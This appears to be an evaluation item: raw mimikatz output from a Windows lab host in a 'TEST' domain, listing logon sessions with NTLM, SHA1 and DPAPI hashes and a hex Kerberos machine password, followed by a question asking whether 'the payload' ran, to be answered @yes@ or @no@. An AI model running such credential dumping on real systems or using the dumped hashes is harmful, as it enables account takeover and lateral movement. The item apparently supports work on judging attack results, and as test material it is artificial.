Session           : Service from 0
User Name         : IT-EP-2$
Domain            : TEST
Logon Server      : (null)
Logon Time        : 11/13/2024 5:45:49 PM
SID               : S-1-5-20
	msv :	
	 [00000003] Primary
	 * Username : IT-EP-2$
	 * Domain   : TEST
	 * NTLM     : d820542846527484dda98a5fae81a7ec
	 * SHA1     : ae49133155a2aec834605c91625211deaf51a9ff
	 * DPAPI    : ae49133155a2aec834605c91625211de
	tspkg :	
	wdigest :	
	 * Username : IT-EP-2$
	 * Domain   : TEST
	 * Password : (null)
	kerberos :	
	 * Username : it-ep-2$
	 * Domain   : TEST.LAB
	 * Password : (null)
	ssp :	
	credman :	
	cloudap :	

Authentication Id : 0 ; 43282 (00000000:0000a912)
Session           : Interactive from 0
User Name         : UMFD-0
Domain            : Font Driver Host
Logon Server      : (null)
Logon Time        : 11/13/2024 5:45:48 PM
SID               : S-1-5-96-0-0
	msv :	
	 [00000003] Primary
	 * Username : IT-EP-2$
	 * Domain   : TEST
	 * NTLM     : d820542846527484dda98a5fae81a7ec
	 * SHA1     : ae49133155a2aec834605c91625211deaf51a9ff
	 * DPAPI    : ae49133155a2aec834605c91625211de
	tspkg :	
	wdigest :	
	 * Username : IT-EP-2$
	 * Domain   : TEST
	 * Password : (null)
	kerberos :	
	 * Username : IT-EP-2$
	 * Domain   : test.lab
	 * Password : 87 29 9f 46 00 93 da a4 43 c6 6e 96 6e ea 60 61 90 81 cd 03 c3 44 8a 5d e0 3d 59 2d e4 85 74 b0 2c d2 4c 73 52 ec ac 90 2d 34 e3 95 78 92 e8 ed 1b ea 99 1a f4 6d 3c 2b 85 a7 09 b4 95 69 28 29 2c 6f ae 96 86 0b 9d a0 f4 6c f6 00 b0 7d 35 11 49 72 9b f4 0e ec 56 8c 71 3e 58 91 ad f4 ea f7 ca 0a 3e 6d 42 33 6f eb 32 fc 87 5b 9b 77 e0 92 0d 53 95 66 0b ee 81 15 95 ec e7 3c 90 08 9a 56 32 0b 23 dd 9c 4a f4 74 66 96 ec db e5 98 a5 0b 4c aa 88 ab 0f 68 1f cf 10 66 94 be 40 dd ec 33 0c 5d c9 11 5b fd cc 10 a0 31 43 26 47 c2 e9 ed 97 8b 21 75 65 19 7e 9c a9 55 af 33 66 ea ed c0 d4 8b f6 ad 90 98 99 83 2c bb 51 17 3b d3 53 74 45 f3 c7 76 68 15 7e ff 1a 65 0e bb 3f 72 40 3e 16 00 3c 5b f5 2f cf a9 bb 2c c6 c3 13 d1 dc be 
	ssp :	
	credman :	
	cloudap :	

Authentication Id : 0 ; 41971 (00000000:0000a3f3)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 11/13/2024 5:45:48 PM
SID               : 
	msv :	
	 [00000003] Primary
	 * Username : IT-EP-2$
	 * Domain   : TEST
	 * NTLM     : d820542846527484dda98a5fae81a7ec
	 * SHA1     : ae49133155a2aec834605c91625211deaf51a9ff
	 * DPAPI    : ae49133155a2aec834605c91625211de
	tspkg :	
	wdigest :	
	kerberos :	
	ssp :	
	credman :	
	cloudap :	

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : IT-EP-2$
Domain            : TEST
Logon Server      : (null)
Logon Time        : 11/13/2024 5:45:48 PM
SID               : S-1-5-18
	msv :	
	tspkg :	
	wdigest :	
	 * Username : IT-EP-2$
	 * Domain   : TEST
	 * Password : (null)
	kerberos :	
	 * Username : it-ep-2$
	 * Domain   : TEST.LAB
	 * Password : (null)
	ssp :	
	credman :	
	cloudap :	

mimikatz(commandline) # exit
Bye!

-----------
Based on the result, did the payload execute correctly? Respond with @yes@ or @no@, and provide a clear explanation for your conclusion.